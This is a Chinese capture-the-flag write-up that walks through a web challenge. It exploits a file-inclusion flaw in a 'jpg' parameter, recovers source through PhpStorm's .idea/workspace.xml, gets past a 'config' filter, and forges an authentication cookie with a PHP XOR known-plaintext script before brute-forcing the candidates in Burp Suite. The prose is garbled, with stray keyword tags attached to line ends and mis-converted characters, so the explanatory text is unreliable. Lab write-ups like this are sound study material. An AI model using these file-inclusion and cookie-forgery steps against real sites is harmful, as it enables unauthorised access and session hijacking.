BCTF Web Code–考腦洞,你能過麼? php
1)打開連接,是一張圖片 html
根據URL特色推斷多是有文件包含漏洞 算法
2) 將jpg參數修改爲index.php,查看源代碼,發現base64編碼後的代碼 編程
3)解碼後index.php的源碼 cookie
<?php dom
/** phpstorm
* Created by PhpStorm. ide
* Date: 2015/11/16 ui
* Time: 1:31 編碼
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
提到一個config,嘗試訪問config.php,沒有用,返回內容爲空
4)此題腦洞在於註釋部分
Created by PhpStorm.
phpstorm會產生一個./idea文件,嘗試訪問 .idea/workspace.xml
獲得另外一個php文件
5)直接訪問文件,沒有可用信息
讀取該文件,也沒有可用信息
6)腦洞在於,根據config.php源碼,對config進行了replace替換操做,逆向思惟下將_編程config
fl3g_ichuqiu.php –> fl3gconfigichuqiu.php
讀取文件,發現能夠讀到
7)base64解碼後,獲得源代碼
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
根據源代碼獲得加密和解密算法,當輸入的cookie[user]通過解密算法獲得system時,能夠輸出flag的值
8)根據encrypt算法,須要計算出$key的值,而後用在decrypt中,根據算法寫出解密算法
<?php
function ss($txt,$m){
for($i=0;$i<strlen($m);$i++){
$tmp .= chr(ord($m[$i])+10);
}
$m=$tmp;
$tmp='';
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
for($i=0;$i<strlen($txt);$i++){
$key .= $txt[$i] ^ $m[$i];
}
$s='0123456789abcdef';
$txt1='system';
for($i=0;$i<strlen($txt1);$i++){
$tmp .= chr(ord($txt1[$i])+10);
}
$txt1=$tmp;
$tmp='';
for($i=0;$i<16;$i++){
$tmp = $key.$s[$i];
for($ii=0;$ii<strlen($txt1);$ii++){
$txt2 .= $txt1[$ii] ^ $tmp[$ii];
}
echo base64_encode($rnd.$txt2).'</br>';
$txt2='';
}
}
ss('Nmo1ehccWERM','guest');
?>
9)首先訪問連接獲得user的cookie值
而後將cookie值做爲參數帶入解密算法中,計算獲得
10)將這16個值做爲burpsuite爆破的對象,進行爆破,獲得flag